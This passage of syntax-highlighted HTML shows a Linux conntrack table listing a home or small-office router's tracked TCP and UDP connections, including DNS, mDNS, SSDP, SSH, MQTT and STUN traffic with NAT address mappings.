</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431999</span> ESTABLISHED src<span style="color:#f92672">=</span>192.168.50.196 dst<span style="color:#f92672">=</span>18.196.19.65 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">55164</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">8883</span> src<span style="color:#f92672">=</span>18.196.19.65 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">8883</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">55164</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">16</span> src<span style="color:#f92672">=</span>127.0.0.1 dst<span style="color:#f92672">=</span>127.0.0.53 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">41796</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">53</span> src<span style="color:#f92672">=</span>127.0.0.53 dst<span style="color:#f92672">=</span>127.0.0.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">53</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">41796</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> unknown  <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">265</span> src<span style="color:#f92672">=</span>192.168.50.216 dst<span style="color:#f92672">=</span>224.0.0.251 <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>224.0.0.251 dst<span style="color:#f92672">=</span>192.168.50.216 mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">5</span> src<span style="color:#f92672">=</span>192.168.50.104 dst<span style="color:#f92672">=</span>1.1.1.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">23791</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">53</span> src<span style="color:#f92672">=</span>1.1.1.1 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">53</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">23791</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">119</span> src<span style="color:#f92672">=</span>10.172.72.205 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>10.172.72.205 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">27</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>224.0.0.251 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>224.0.0.251 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431946</span> ESTABLISHED src<span style="color:#f92672">=</span>192.168.50.202 dst<span style="color:#f92672">=</span>17.242.218.132 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">64686</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5223</span> src<span style="color:#f92672">=</span>17.242.218.132 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5223</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">64686</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">10</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>239.255.255.250 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">40234</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">1900</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>239.255.255.250 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">1900</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">40234</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">96</span> TIME_WAIT src<span style="color:#f92672">=</span>192.168.50.104 dst<span style="color:#f92672">=</span>3.217.113.91 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">49707</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> src<span style="color:#f92672">=</span>3.217.113.91 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">49707</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">10</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>10.172.64.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">40234</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">1900</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>10.172.64.1 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">1900</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">40234</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431812</span> ESTABLISHED src<span style="color:#f92672">=</span>100.69.238.103 dst<span style="color:#f92672">=</span>192.168.50.202 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">55514</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">49395</span> src<span style="color:#f92672">=</span>192.168.50.202 dst<span style="color:#f92672">=</span>192.168.50.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">49395</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">55514</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431666</span> ESTABLISHED src<span style="color:#f92672">=</span>192.168.50.216 dst<span style="color:#f92672">=</span>10.172.72.196 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">51638</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">59593</span> src<span style="color:#f92672">=</span>10.172.72.196 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">59593</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">51638</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431998</span> ESTABLISHED src<span style="color:#f92672">=</span>100.69.238.103 dst<span style="color:#f92672">=</span>192.168.50.202 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">55510</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">7000</span> src<span style="color:#f92672">=</span>192.168.50.202 dst<span style="color:#f92672">=</span>192.168.50.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">7000</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">55510</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">14</span> src<span style="color:#f92672">=</span>192.168.50.131 dst<span style="color:#f92672">=</span>224.0.0.251 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>224.0.0.251 dst<span style="color:#f92672">=</span>192.168.50.131 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> unknown  <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">596</span> src<span style="color:#f92672">=</span>10.172.72.205 dst<span style="color:#f92672">=</span>224.0.0.251 <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>224.0.0.251 dst<span style="color:#f92672">=</span>10.172.72.205 mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">27</span> src<span style="color:#f92672">=</span>192.168.50.1 dst<span style="color:#f92672">=</span>224.0.0.251 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>224.0.0.251 dst<span style="color:#f92672">=</span>192.168.50.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">27</span> src<span style="color:#f92672">=</span>10.172.72.205 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>10.172.72.205 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">15</span> src<span style="color:#f92672">=</span>192.168.50.118 dst<span style="color:#f92672">=</span>224.0.0.251 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>224.0.0.251 dst<span style="color:#f92672">=</span>192.168.50.118 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">88</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>109.43.114.250 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> src<span style="color:#f92672">=</span>109.43.114.250 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431997</span> ESTABLISHED src<span style="color:#f92672">=</span>192.168.50.104 dst<span style="color:#f92672">=</span>18.234.9.109 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">49700</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> src<span style="color:#f92672">=</span>18.234.9.109 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">49700</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431998</span> ESTABLISHED src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>199.165.136.101 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">45248</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> src<span style="color:#f92672">=</span>199.165.136.101 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">45248</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431992</span> ESTABLISHED src<span style="color:#f92672">=</span>10.172.72.196 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">63953</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">22</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>10.172.72.196 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">22</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">63953</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431995</span> ESTABLISHED src<span style="color:#f92672">=</span>192.168.50.189 dst<span style="color:#f92672">=</span>3.122.71.119 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">50422</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">8883</span> src<span style="color:#f92672">=</span>3.122.71.119 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">8883</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">50422</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">100</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>176.58.90.104 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">3478</span> src<span style="color:#f92672">=</span>176.58.90.104 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">3478</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">107</span> TIME_WAIT src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>185.125.190.36 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">50914</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">80</span> src<span style="color:#f92672">=</span>185.125.190.36 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">80</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">50914</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">26</span> src<span style="color:#f92672">=</span>192.168.50.202 dst<span style="color:#f92672">=</span>192.168.50.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>192.168.50.1 dst<span style="color:#f92672">=</span>192.168.50.202 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5353</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">16</span> src<span style="color:#f92672">=</span>127.0.0.1 dst<span style="color:#f92672">=</span>127.0.0.53 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">33321</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">53</span> src<span style="color:#f92672">=</span>127.0.0.53 dst<span style="color:#f92672">=</span>127.0.0.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">53</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">33321</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431975</span> ESTABLISHED src<span style="color:#f92672">=</span>192.168.50.134 dst<span style="color:#f92672">=</span>161.117.178.131 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">58246</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">11883</span> src<span style="color:#f92672">=</span>161.117.178.131 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">11883</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">58246</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">16</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>10.172.64.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">35510</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">53</span> src<span style="color:#f92672">=</span>10.172.64.1 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">53</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">35510</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">100</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>176.58.93.154 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">3478</span> src<span style="color:#f92672">=</span>176.58.93.154 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">3478</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">41641</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431652</span> ESTABLISHED src<span style="color:#f92672">=</span>100.69.238.103 dst<span style="color:#f92672">=</span>192.168.50.202 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">55513</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">49394</span> src<span style="color:#f92672">=</span>192.168.50.202 dst<span style="color:#f92672">=</span>192.168.50.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">49394</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">55513</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">23</span> src<span style="color:#f92672">=</span>192.168.50.104 dst<span style="color:#f92672">=</span>255.255.255.255 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">21112</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">20002</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>255.255.255.255 dst<span style="color:#f92672">=</span>192.168.50.104 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">20002</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">21112</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">10</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>10.172.64.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">40234</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5351</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>10.172.64.1 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5351</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">40234</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> udp      <span style="color:#ae81ff">17</span> <span style="color:#ae81ff">10</span> src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>10.172.64.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">34331</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">5351</span> <span style="color:#f92672">[</span>UNREPLIED<span style="color:#f92672">]</span> src<span style="color:#f92672">=</span>10.172.64.1 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">5351</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">34331</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431975</span> ESTABLISHED src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>192.200.0.115 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">48100</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> src<span style="color:#f92672">=</span>192.200.0.115 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">48100</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431999</span> ESTABLISHED src<span style="color:#f92672">=</span>10.172.71.98 dst<span style="color:#f92672">=</span>176.58.93.154 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">58128</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> src<span style="color:#f92672">=</span>176.58.93.154 dst<span style="color:#f92672">=</span>10.172.71.98 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">443</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">58128</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>ipv4     <span style="color:#ae81ff">2</span> tcp      <span style="color:#ae81ff">6</span> <span style="color:#ae81ff">431997</span> ESTABLISHED src<span style="color:#f92672">=</span>100.69.238.103 dst<span style="color:#f92672">=</span>192.168.50.202 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">55515</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">49154</span> src<span style="color:#f92672">=</span>192.168.50.202 dst<span style="color:#f92672">=</span>192.168.50.1 sport<span style="color:#f92672">=</span><span style="color:#ae81ff">49154</span> dport<span style="color:#f92672">=</span><span style="color:#ae81ff">55515</span> <span style="color:#f92672">[</span>ASSURED<span style="color:#f92672">]</span> mark<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> use<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
